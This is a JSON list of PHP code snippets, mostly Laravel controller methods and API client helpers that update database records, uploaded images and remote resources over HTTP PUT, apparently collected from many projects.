[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n }\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 